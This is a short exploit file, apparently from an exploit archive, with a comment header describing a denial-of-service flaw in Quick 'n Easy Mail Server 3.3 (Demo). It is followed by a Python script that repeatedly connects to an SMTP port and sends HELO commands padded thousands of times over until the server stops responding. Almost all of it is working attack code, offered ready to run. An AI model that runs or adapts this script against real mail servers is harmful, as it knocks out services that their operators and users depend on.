Quick N Easay Mail Server 3.3 Denial Of Service

`# ---------------------------------------------------------------  
# Quick 'n Easy Mail Server 3.3 (Demo) Remote Denial of Service  
# http://www.pablosoftwaresolutions.com/  
  
# author: shinnai  
# mail: shinnai[at]autistici[dot]org  
# site: http://www.shinnai.net/  
  
# When you pass a long string to the server, it checks for bof  
# type attacks and answers with a:  
# "<SMTP> Buffer overflow: DOS attack?"  
# after 25 requests (more or less), server is unable to handle  
# errors.  
# An attacker can exploit this issue to trigger dos conditions.  
# In case of succesful exploitation of this vulnerability,  
# the server will answer to requests as below:  
# "<SMTP> 421 Service not available"  
#---------------------------------------------------------------"  
  
import socket  
  
try:  
for i in range(1,30):  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
conn = s.connect(("127.0.0.1",25))  
s.send('HELO ' + "[email protected]" * 4000 + '\r\n')  
d = s.recv(1024)  
print d  
s.close  
raw_input("Done. If server is still available, try to increase the number of requests.\n\nPress enter to quit...")  
except:  
raw_input("Unable to connect!\n\nPress enter to quit...")  
  
  
`